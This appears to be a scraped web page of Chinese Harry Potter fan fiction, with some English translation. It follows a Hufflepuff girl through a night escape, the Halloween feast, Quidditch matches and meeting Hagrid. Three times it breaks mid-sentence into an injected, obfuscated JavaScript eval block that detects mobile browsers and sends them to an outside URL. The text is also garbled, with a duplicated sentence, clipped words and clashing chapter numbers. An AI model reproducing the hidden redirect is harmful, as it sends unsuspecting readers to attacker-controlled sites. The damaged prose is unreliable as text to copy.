“喵嗷——!” 洛丽丝夫人尖锐地叫着。
索菲亚的心脏快要跳出胸腔,她紧紧捂住嘴,大气不敢出。双胞胎也屏住呼吸,乔治甚至悄悄抽出了魔杖,似乎在想该用什么咒语解决难题。
费尔奇在外面咒骂着,踢打着门板,洛丽丝夫人抓挠的声音不绝于耳。时间仿佛凝固了。就在索菲亚觉得快要窒息的时候,外面似乎传来另一个方向(可能是他们来时方向)的轻微响动,像是什么东西掉在了地上。
“嗯?什么声音?” 费尔奇的注意力似乎被吸引过去,“洛丽丝夫人,这边!别让他们跑了!” 脚步声和猫叫声迅速远去。
壁橱里的三人又屏息等待了几分钟,直到外面彻底恢复死寂。
“呼…好险…” 弗雷德长长地舒了一口气,抹了把额头上不存在的汗,“这破探测器,关键时刻还挺管用…就是警报声太大了点!”
“差点就交代在这破柜子里了,” 乔治心有余悸,但随即又兴奋起来,“不过今晚真是太棒了!移动书架!还有惊险刺激的追逐战!史密斯,你很有潜质嘛!够冷静!”
索菲亚惊魂未定地点点头,刚才的极度紧张让她手脚都有些发软,但那股奇异的、混合着后怕和极度兴奋的感觉同样充斥全身。她第一次体验到了夜游的惊险魅力。
“好了,小獾獾,” 弗雷德轻轻推开暗门一条缝,确认外面安全,“该回去了。记住,今晚什么都没发生!连这个壁橱都没见过!”
索菲亚用力点头,小心翼翼地溜回走廊,辨认了一下方向,迅速朝着赫奇帕奇休息室的方向潜行。告别了双胞胎,她独自在寂静的走廊里穿行,感觉每一步都像踩在棉花上。当她终于敲开赫奇帕奇公共休息室的石槽门,回到那熟悉温暖的蜂蜜色光晕中时,感觉像是从一个光怪陆离的梦境回到了现实。
躺在温暖干燥的被窝里,心脏还在因为奔跑和激动而快速跳动。虽然没有找到厄里斯魔镜,但亲眼目睹移动书架的震撼和与费尔奇擦肩而过的惊险,已经足够刺激。原来偶尔的“叛逆”,也能带来如此心跳加速的体验。她闭上眼睛,嘴角忍不住弯起一个小小的、带着点后怕又无比兴奋的弧度。探索霍格沃茨,这才刚刚开始呢。至于下次探险…也许可以怂恿双胞胎带她去看看禁林边缘?当然,得等他们的探测器更靠谱一点才行!探险…也许可以怂恿双胞胎带她去看看禁林边缘?当然,得等他们的探测器更靠谱一点才行!
13. 第 13 章
第15章
十月的最后一天,霍格沃茨城堡被深秋彻底拥抱。清冽的空气带着刺骨的寒意,从黑湖方向吹来的风卷起满地金红相间的落叶,在庭院和回廊里打着旋儿。天空是一种深沉的铅灰色,铅云低垂,仿佛随时会压下来,白昼变得格外短暂,刚过下午四点,暮色就已迫不及待地漫上城堡的窗棂。城堡厚重的石墙也似乎吸收了这份寒意,摸上去冰凉沁骨。
然而,城堡内部,尤其是大礼堂,却是一派截然相反的、热火朝天的节日景象!万圣节的气息在这里被魔法放大到了极致。
成百上千只巨大的、雕刻着狰狞或滑稽鬼脸的南瓜灯,并非放在地上,而是被施了魔法,稳稳地悬浮在半空中,从礼堂入口一直延伸到教工长桌上方。橘黄色的温暖光芒从南瓜灯内部透出,将整个大厅映照得光影摇曳,充满了神秘而欢快的气氛。有些南瓜灯还会慢悠悠地旋转,或者从雕刻的嘴巴里喷出无害的、带着糖果甜香的彩色烟雾。
无数由魔法变出的黑色蝙蝠(并非真蝙蝠,只是逼真的魔法投影),拍打着无声的翅膀,在漂浮的南瓜灯之间灵巧地穿梭、滑翔,形成一片片流动的阴影,引得低年级学生阵阵惊呼和欢笑。
代替了平常的普通蜡烛,无数根细长的、燃烧着幽蓝色或惨绿色火焰的魔法蜡烛,如同倒悬的冰棱,从天花板上垂挂下来。这些火焰不仅颜色诡异,还会时不时地“噗”一声爆开一小朵火花,或者拉长成一张鬼脸的形状,旋即又恢复原状。
墙壁上挂着的那些古老挂毯里的人物,今天都换上了稀奇古怪的万圣节装扮——骑士戴上了尖顶巫师帽,贵妇脸上画着夸张的骷髅妆,甚至有几个农夫打扮的人物在挂毯里互相扔着魔法变出的、不会腐烂的南瓜。天花板上,魔法模拟出的乌云翻滚,偶尔还有一道无声的“闪电”划破“夜空”,引来一片兴奋的尖叫。
空气中弥漫着烤南瓜派、热苹果汁、焦糖苹果、香浓肉汤以及各种甜腻糖果的诱人香气,比平时更加浓郁,预示着即将到来的丰盛晚宴。
傍晚时分,索菲亚和她的赫奇帕奇室友们——海伦、米莉森特、苏珊,以及拉文克劳的艾玛·坎贝尔(Emma Campbell),刚刚结束了在温室进行的、略显寒冷的万圣节特别草药课(主要学习了一些在霜冻下依然顽强生长的魔法植物,比如“冰晶薄荷”和“霜冻浆果”)。她们裹紧了校袍,带着一身清冽的泥土和植物气息,迫不及待地冲进温暖喧闹的大礼堂,寻找赫奇帕奇长桌的空位坐下。
“梅林的厚袜子啊!外面冻死我了!” 米莉森特一屁股坐下,夸张地搓着手,对着冻得发红的指尖呵气,“温室里还好,出来那风,简直像刀子!”
"Merlin''s thick socks! It''s freezing out there!" Millicent plopped down, exaggeratedly rubbing her hands and blowing on her reddened fingertips. "The greenhouse was okay, but that wind outside felt like knives!"
“温室里那株‘霜冻浆果’倒是真应景,” 海伦微笑着说,她鼻尖也有点红,但眼神亮晶晶的,“斯普劳特教授说它的汁液是制作防冻魔药的关键原料之一。可惜我们只能看,不能摘。”
"The ''Frostberry'' in the greenhouse was quite fitting though," Helen smiled, her nose also a bit red but her eyes sparkling. "Professor Sprout said its juice is a key ingredient in anti-freezing potions. Too bad we could only look, not pick."
“我更关心什么时候能吃上热乎乎的南瓜派,” 苏珊眼巴巴地望着教工长桌方向,那里家养小精灵们正用魔法将一道道盖着银质餐盖的巨大餐盘精准地传送到各学院长桌上,“闻着香味,我肚子都在抗议了。”
"I''m more concerned about when we can get some hot pumpkin pie," Susan said longingly, gazing towards the staff table where house-elves were magically delivering huge silver-covered platters to each house table. "The smell is making my stomach protest."
艾玛坐在索菲亚旁边,优雅地整理着自己一丝不苟的金色发辫,笑着接话:“别急,苏珊。按照传统,邓布利多校长会在所有幽灵进行完‘惊吓巡游’后才宣布开宴。不过,说真的,Sophia,” 她转向索菲亚,蓝眼睛里带着好奇,“你上次跟我提到的那个关于‘麻瓜万圣节’的习俗,‘Trick or Treat’(不给糖就捣蛋)?听起来比我们这里有趣多了!提着篮子挨家挨户要糖?真难以想象。”
Emma sat beside Sophia, elegantly adjusting her perfectly neat blonde braid, and chimed in with a smile: "Patience, Susan. Tradition dictates that Headmaster Dumbledore won''t announce the feast until after the ghosts finish their ''Fright Parade.'' But seriously, Sophia," she turned to Sophia, her blue eyes full of curiosity, "that ''Trick or Treat'' custom of the Muggle Halloween you mentioned last time? It sounds much more fun than ours! Going door-to-door with baskets for candy? Hard to imagine!"
索菲亚正捧着一杯家养小精灵刚送上来的、热气腾腾的热苹果汁暖手,闻言也笑了:“是啊,艾玛。小孩子们会装扮成各种鬼怪的样子,提着南瓜灯或者袋子,挨家挨户敲门说‘Trick or Treat!’。如果主人给了糖果或者小礼物,就皆大欢喜;如果没给,淘气的孩子可能会恶作剧一下,比如在门上涂肥皂或者扔鸡蛋——当然,只是很小的玩笑。” 她顿了顿,看着礼堂里漂浮的南瓜灯,“不过,论气氛的营造,还是霍格沃茨更胜一筹。这些魔法效果,麻瓜世界可复制不了。”
Sophia was warming her hands with a steaming mug of hot apple cider just delivered by a house-elf. She smiled at the question: "Yes, Emma. Little kids dress up as all sorts of monsters and ghosts, carry pumpkin lanterns or bags, knock on doors saying ''Trick or Treat!'' If the homeowner gives candy or small gifts, everyone''s happy; if not, the naughty kids might play a little prank, like soaping the door or throwing eggs—though just small jokes, really." She paused, looking at the floating jack-o''-lanterns in the hall. "But for atmosphere, Hogwarts wins hands down. These magical effects couldn''t be replicated in the Muggle world."
“扔鸡蛋?涂肥皂?” 米莉森特瞪大了眼睛,随即咯咯笑起来,“听起来比皮皮鬼的恶作剧温和多了!不过,要我说,还是直接有这么多好吃的等着最实在!” 她指了指长桌上开始出现的前菜:堆成小山的、烤得金黄的南瓜籽,还有插着小旗子、做成迷你幽灵和蝙蝠形状的手指三明治。
"Throwing eggs? Soaping doors?" Millicent''s eyes widened, then she giggled. "Sounds gentler than Peeves'' pranks! But to be honest, I prefer just having all this delicious food waiting for us!" She pointed to the appetizer
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928783|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
s starting to appear on the long table: mounds of golden roasted pumpkin seeds and finger sandwiches shaped like tiny ghosts and bats, each adorned with little flags.
“说到吃的,” 海伦对索菲亚眨眨眼,带着心照不宣的笑意,“晚宴结束,你是不是又要去‘秘密补给站’了?Rustine 肯定给你准备了‘特供’。”
"Speaking of food," Helen winked at Sophia with a knowing smile, "after the feast, are you heading to your ''secret supply station'' again? I bet Rustine has your ''special reserve'' ready."
索菲亚脸微微一红,心里暖暖的,点点头:“嗯,她总是担心我吃不够。”
Sophia''s cheeks flushed slightly, warmth spreading through her. She nodded: "Yeah, she always worries I don''t eat enough."
聊了一会儿,艾玛和朋友回拉文克劳的长桌上去了。
突然,礼堂的大门被猛地推开!一阵阴冷的风灌了进来,伴随着一阵空灵、飘忽的哭泣和尖笑声。霍格沃茨的幽灵们排着队(或者说是飘着队),以“无头骑士”尼克为首,开始了他们的万圣节惊吓巡游!他们穿透墙壁,从长桌上方呼啸而过,做出各种吓人的鬼脸(虽然大部分学生都习以为常,反而觉得好笑),皮皮鬼则混在中间,把灌了水的假气球(砸到人只会溅一身水)扔向学生,引起一阵阵尖叫和笑骂。
邓布利多教授站起身,银白色的长须在幽蓝烛光下闪闪发光,他笑呵呵地看着这场闹剧,等幽灵们闹腾得差不多了,才用魔杖轻轻敲了敲面前的高脚杯。
叮叮叮!
清脆悦耳的声音瞬间盖过了所有的喧闹。
“我亲爱的学生们、教职工们、以及我们尊贵的幽灵朋友们,” 邓布利多的声音洪亮而慈祥,带着笑意,“在这个充满…嗯…独特魅力的夜晚,让我们暂时放下对惊吓的期待(或者制造惊吓的冲动),先填饱我们的肚子如何?那么,万圣节晚宴——开始!”
随着他话音落下,四张学院长桌上,所有盖着餐盘的银盖子瞬间消失!如同变魔术一般,原本空荡荡的长桌瞬间被堆得满满当当,琳琅满目的万圣节大餐出现在所有人面前:
主菜有烤得表皮焦黄油亮、滋滋作响的巨大火鸡;堆得像小山一样、淋着浓郁肉汁的烤肋排;散发着迷迭香和蒜香的整只烤羊腿;还有霍格沃茨特色——会自己扭动、但肉质异常鲜美的“魔法鳗鱼派”。
配菜更多样,有金黄酥脆的巨型约克郡布丁;热气腾腾、浇着融化黄油的土豆泥;烤南瓜块、胡萝卜、防风草根等各色时蔬;以及用魔法染成橘色、紫色甚至荧光的各种意面和米饭。
汤羹品种也是五花八门,有热气腾腾、香气扑鼻的南瓜浓汤;漂浮着“眼球”(其实是剥皮葡萄)的“女巫浓汤”;还有奶油蘑菇汤,上面用奶油画着小小的骷髅头图案。
甜点更是重头戏!造型惊悚又可爱的“木乃伊手指”饼干(裹着白巧克力);会流出“血红色”覆盆子酱的“心脏”布丁;颤颤巍巍、做成大脑形状的果冻;插着巧克力蝙蝠翅膀的杯子蛋糕;当然,还有堆成金字塔状的、各种口味的巧克力蛙和比比多味豆!
“哇哦!” 所有学生,无论学院,都发出了由衷的赞叹。礼堂里的气氛瞬间被食物的香气和兴奋的议论声点燃。
“开动吧!” 索菲亚也暂时抛开了课业压力,拿起刀叉,脸上洋溢着干饭的快乐。她先给自己盛了一大勺热气腾腾的南瓜浓汤,又夹了一块烤得恰到好处的牛肋排。温暖的汤下肚,瞬间驱散了从草药课带回来的最后一丝寒意。她看着身边的朋友们——海伦在认真品尝“大脑”果冻的口感,米莉森特和苏珊在争论哪种口味的巧克力蛙更稀有,塞德里克一边吃饭,一边低声和索菲亚讨论着下午草药课上斯普劳特教授提到的霜冻浆果的魔力导性原理。
食物的香气、朋友的笑语、礼堂里奇幻的魔法装饰、以及胃里渐渐升腾起的暖意,交织成一幅独属于霍格沃茨的、温暖而热闹的万圣节画卷。在这个寒意渐浓的夜晚,城堡里充满了温暖、欢笑和魔法的奇迹。索菲亚小口喝着汤,感受着这份美好,只觉得能来到这里,真是太好了。
我们所度过的每个平凡的日常,或许就是连续发生的奇迹哦。1
14. 第 14 章
第14章
万圣节就愉快地过完了。平凡的上学生活继续进行着。
进入十一月,霍格沃茨的寒意愈发凛冽。黑湖表面结起了一层薄薄的冰,清晨的草地上覆盖着白霜,呼出的气息在空中凝成团团白雾。城堡厚重的石墙也抵挡不住这份刺骨的冰冷,公共休息室的壁炉成了学生们最爱的聚集地。然而,寒冷的天气丝毫没有浇灭城堡里的热情,因为魁地奇赛季正式拉开了帷幕!
魁地奇球场被精心修整过,三个高高的镀金球门柱在初冬灰白的天空下闪闪发光。看台上挂起了巨大的学院旗帜,在寒风中猎猎作响。空气中弥漫着兴奋、期待和一丝火药味。
索菲亚曾经在刚入学、体验过飞行课的乐趣后,也短暂地幻想过自己骑着扫帚,在赛场上空疾驰,为赫奇帕奇争光的场景。但很快,繁重得如同小山般的课业就把这个小小的梦想压到了最心底,毕竟她来自麻瓜家庭,有太多东西需要学习,以前的电影记忆顶不上用场呀。练习飞行需要大量时间,更别提魁地奇和队友一起再磨合练习的时间,而她目前的时间表已经被学习塞得满满当当,她只能将这个小小的遗憾暂时收起。
不过,这丝毫不影响她和室友们对观赛的热情!赫奇帕奇虽然常年被戏称为“垫底獾”,但忠诚和支持是刻在獾院骨子里的品质。
“第一场就是重磅对决!斯莱特林对格兰芬多!” 周六清晨,米莉森特一边往脖子上缠厚厚的围巾,一边兴奋地在公共休息室里嚷嚷,小脸冻得红扑扑的,“听说斯莱特林今年新招的那个击球手,块头大得像头巨怪!”
"The first match is the big one! Slytherin vs. Gryffindor!" Millicent exclaimed excitedly in themon room on Saturday morning, wrapping a thick scarf around her neck, her face flushed from the cold. "I heard Slytherin''s new Beater this year is built like a troll!"
“格兰芬多的找球手是查理·韦斯莱,对吧?” 海伦抱着暖手炉,眼睛也亮晶晶的,“乔治和弗雷德的大哥?听说他技术超好,去年就差点抓到金色飞贼了!”
"Is Gryffindor''s Seeker Charlie Weasley?" Helen hugged a hand warmer, her eyes also sparkling. "The twins'' older brother? I heard he''s amazing, almost caught the Snitch last year!"
“对!就是他!” 苏珊用力点头,她怀里抱着几个用保温咒裹好的肉馅饼,显然是准备当看球零食,“快走吧!去晚了占不到好位置了!Sophia,你好了没?”
"Yes! Him!" Susan nodded vigorously, clutching a few meat pies wrapped in Warming Charms, clearly intended as match snacks. "e on! We''ll miss the good seats if we''re late! Sophia, are you ready?"
随着霍琦夫人一声响亮的哨响,比赛正式开始!
格兰芬多 vs 斯莱特林的比赛开始啦。
双方追球手的技术都堪称精湛,红色和绿色的身影在空中高速穿梭,鬼飞球在他们之间快速传递,划出一道道令人眼花缭乱的轨迹。格兰芬多的追球手配合默契,一个漂亮的“双人倒传球”成功骗过斯莱特林的守门员,率先得分!看台上爆发出震耳欲聋的欢呼(主要是红色和金色的区域)。但斯莱特林立刻还以颜色,他们的追球手利用身体优势强行挤开格兰芬多的拦截队员,将球狠狠砸进球门。
双方的击球手更是将比赛的火药味推向了顶点。斯莱特林那两个身材高大、表情凶狠的击球手(其中一个确实壮得像米莉森特描述的),挥舞着沉重的击球棒,将游走球瞄准格兰芬多队员(尤其是找球手查理·韦斯莱)狠狠击打过去,力道之大,甚至能听到破空的尖啸!好几次险象环生,引得看台上惊叫连连。格兰芬多的击球手也不甘示弱,奋力反击,保护着己方队员。
斯莱特林队伍将“为达目的不择手段”的作风贯彻到了球场上。除了凶狠的击球,他们的队员还频繁使用一些规则边缘的小动作:故意用扫帚尾翼刮蹭对手、在高速飞行中突然急停试图造成追尾、甚至假装被犯规向霍琦夫人申诉干扰判罚。每当霍琦夫人吹哨警告斯莱特林时,看台上都会响起巨大的嘘声,尤其是格兰芬多和赫奇帕奇这边。
格兰芬多的找球手查理·韦斯莱,一个有着和双胞胎一样火红头发但气质沉稳许多的少年,展现出了非凡的飞行天赋和敏锐的观察力。他像一只真正的猎鹰,在高空盘旋,目光锐利地扫视全场,几次俯冲都引得全场屏息,可惜金色飞贼狡猾地溜走了。
比赛进入了白热化,比分交替上升。就在格兰芬多凭借一次精彩的团队配合将分差拉开到30分时,查理·韦斯莱再次发动了迅猛的俯冲!这一次,他的目标无比明确——一道微弱的金光在他左前方闪烁!全场沸腾!斯莱特林的找球手也发现了,拼命追赶!就在查理的手指即将触碰到那挣扎的小金球时,一个凶狠的游走球(由斯莱特林击球手故意击打)擦着他的扫帚柄飞过,巨大的冲击力让他的扫帚猛地一偏!虽然查理凭借着惊人的平衡感没有坠落,但这一瞬间的干扰,让斯莱特林的找球手趁机猛扑上去,一把抓住了金色飞贼!
看台上瞬间炸开了锅!斯莱特林的支持者爆发出狂热的欢呼,绿色和银色的旗帜疯狂舞动。格兰芬多看台则是一片死寂和难以置信的愤怒。霍琦夫人吹响了终场哨,宣布斯莱特林获胜(因为抓住飞贼的150分加上原有的比分,超过了格兰芬多)。格兰芬多的队员们,包括查理·韦斯莱,都满脸不甘和沮丧地降落到地面。斯莱特林的队员们则在空中得意洋洋地绕场飞行,接受着看台的“欢呼”。
“太卑鄙了!” 米莉森特气得小脸通红,“那个游走球绝对是故意的!霍琦夫人应该把他们罚下场!”
"That was so dirty! That Bludger was definitely deliberate! Madam Hooch should have sent them off!"
“规则上…很难界定,” 海伦叹了口气,为格兰芬多感到惋惜,“但真的太可惜了,他们打得那么好。”
"Technically... it''s hard to define," Helen sighed
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928784|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
, feeling sorry for Gryffindor. "But it''s such a shame, they played so well."
接下来的一周,轮到赫奇帕奇对战拉文克劳。
比赛当天,天气更冷了。赫奇帕奇看台上座无虚席,黄色的旗帜和围巾汇成了一片温暖的海洋。索菲亚和室友们挤在一起,为自家学院呐喊。在不远处的拉文克劳看台,也能看到艾玛·坎贝尔的身影,她正和她的鹰院同学们专注地讨论着战术。
赫奇帕奇的队长,五年级的追球手埃德加·博恩斯(苏珊的堂兄),在赛前带领队员们绕场飞行时,脸上写满了决心,引得看台上一阵阵“赫奇帕奇加油!”的声浪。
比赛开始后,赫奇帕奇展现出了顽强的拼搏精神。
他们的守门员,一个身材敦实的四年级学生,发挥神勇,高接低挡,扑出了拉文克劳好几个刁钻的射门,引得看台上一阵阵欢呼。队长埃德加·博恩斯如同不知疲倦的工蜂,在场上疯狂穿梭,组织进攻,个人突破能力也很强,为赫奇帕奇拿下了宝贵的几十分。
然而,拉文克劳就像一台精密运转的魔法仪器。他们的追球手配合行云流水,传球精准,战术执行力极高。他们的找球手则异常冷静,不受比分波动影响。他们的击球手每一次击球都极具目的性,有效地干扰了赫奇帕奇的进攻节奏。
下半场,埃德加在一次激烈的拼抢中肩膀受伤(不算严重,但明显影响了发挥和速度),他咬牙坚持着。随着比赛深入,赫奇帕奇队员个人能力与拉文克劳整体配合及战术素养的差距逐渐显现。拉文克劳稳扎稳打,一点点扩大着比分优势。
尽管赫奇帕奇拼尽全力,看台上的加油声震耳欲聋——“坚持住,埃德加!”“防守!注意防守!”“赫奇帕奇!加油!”,但最终还是未能扭转局势。拉文克劳的找球手在一片混战中,冷静地捕捉到了金色飞贼的轨迹,一个干净利落的俯冲,稳稳地将它抓在手中!比分定格。
“唉…” 赫奇帕奇看台上响起一片失望又理解的叹息声。
“已经很棒了!” 苏珊大声喊道,声音带着对堂兄的心疼和骄傲,“埃德加堂兄太拼了!”
"They did great! Cousin Edgar fought so hard!"
“是啊,拉文克劳配合太好了。” 海伦客观地评价。
"Yeah, Ravenclaw''s teamwork was incredible."
米莉森特也用力鼓掌:“我们獾院精神不倒!下次再战!”
"Hufflepuff''s spirit never dies! We''ll get them next time!"
索菲亚看着场上垂头丧气但互相拍肩鼓励的赫奇帕奇队员,尤其是肩膀明显不适却坚持给队友打气的埃德加,心里充满了感动。虽然没有赢,但这份不放弃、团结拼搏的獾院精神,同样值得喝彩。她用力地鼓掌,把手掌都拍红了,内心暗叹,希望庞佛雷夫人能把队长给快快治好。
凛冽的寒风依旧呼啸,魁地奇赛季的硝烟才刚刚燃起。
索菲亚看着球场上空灰蒙蒙的天空,感受着身边朋友们的热情,对未来的比赛,对赫奇帕奇,依旧充满了期待。学习很重要,但为学院呐喊助威,感受这份纯粹的激情与凝聚力,也很重要呀。如果自己以后的时间管理能力和学习能力能稳步提升的话,自己能加入魁地奇队伍为学院而战就好了!
15.第 15 章
第15章
---
魁地奇赛季的热闹喧嚣渐渐沉淀下来,霍格沃茨的生活回归到上课、作业、图书馆的日常轨道。初冬的寒意更深了,城堡外的草地覆盖着薄薄的霜,黑湖的水面泛着铅灰色的冷光。一个阴沉的周五下午,上完了枯燥的魔法史课,索菲亚感觉自己的脑子被宾斯教授念得嗡嗡作响,像塞满了妖精叛乱年代的陈旧羊皮纸。图书馆的厚重氛围此刻对她失去了吸引力,她需要一点新鲜空气和……
嗯,还有一点想家了,不知道家里爸爸妈妈怎么样,有没有省下钱来去治病,妹妹莉莉应该还在泰晤士米德小学读书,哥哥汤姆自从父亲工伤后就辍学四处打童工补贴家用,生活一直入不敷出,母亲除了是位非常虔诚的基督教徒以外,对三个孩子都是非常关爱的。9月开学后,自己让学校的猫头鹰给家里送过一封信,让家里不用担心,也没收到回信,不知道家里怎么样了。
一个念头自然而然地冒了出来:去看看海格和牙牙吧!海格总是很热心,不要提更热情的牙牙了,小动物总是能治愈人心,还可以和海格好好倾诉一番,毕竟自己是一个成年人了,有些话和还是小孩子的室友没办法沟通。
索菲亚与鲁伯·海格的友谊,始于开学后不久一次小小的“意外”。
那是一个阴雨绵绵的下午,索菲亚想找一处安静的地方背诵魔咒课咒语和手势,误打误撞走到了靠近禁林边缘的一条偏僻小路。雨越下越大,泥泞的道路让她脚下一滑,不仅摔了一身泥,装课本的旧布袋也掉进了路边的水沟里(有防水魔法不用担心)。正当她狼狈不堪、试图去捞那湿漉漉的布袋时,一个洪亮如钟的声音伴随着沉重的脚步声响起:
“嘿!那边的学生!小心点!离那水沟远点,下面可藏着喜欢拽人脚趾的水怪草(Grindylow weed)呢!虽然个头小,咬一口可疼得很!”
索菲亚吓了一跳,抬头看见一个像小山一样的身影大步走来,他穿着鼹鼠皮大衣,浓密的胡须上挂着雨珠,正是猎场看守海格。海格轻松地伸出大手,像捡起一片树叶一样把她的布袋从水沟里捞了出来,还顺手用他那巨大的手帕(更像一块小桌布)帮她擦了擦书上的泥水。
“Thank you, Mr. Hagrid谢谢您,海格先生!” 索菲亚连忙道谢,对认识海格真的很开心,半巨人真是好大一只呢。
“叫我海格就行,孩子,” 海格咧嘴一笑,露出洁白的牙齿,“你是……赫奇帕奇的新生?索菲亚·史密斯,对吧?我听波莫娜提起过你,说你在草药课上手很稳,是个好苗子!怎么跑到这偏僻地方来了?雨这么大,快跟我到小屋去烤烤火,喝杯热茶暖暖身子!”
"Call me Hagrid, child," Hagri
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931554|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
d grinned, showing his large white teeth. "You''re... a Hufflepuff firstie? Sophia Smith, right? Pomona mentioned you, said you''ve got steady hands in Herbology, a natural! What brings you out here in this downpour?e on up to the hut, get warm by the fire, have a cuppa!"
就这样,索菲亚第一次走进了海格那温暖而略显杂乱的小屋,见到了热情似火、尾巴能当扫帚用的猎犬牙牙。海格给她倒了杯滚烫的、浓得发苦但加了足够糖的红茶,还塞给她一块硬得能当武器但味道尚可的岩皮饼,自己可是吃了11年掺锯末的黑面包!
海格热情地分享着他照顾神奇生物的各种趣事(包括牙牙追着隐形兽结果撞树上的糗事),言语间充满了对这些生物真挚的爱护。索菲亚也分享了一些自己在麻瓜世界的生活片段。海格对麻瓜的“园艺”和“种地”尤其感兴趣。一来二去,索菲亚就成了海格小屋的常客,牙牙也特别喜欢这个安静又友善的小姑娘。又友善的小姑娘。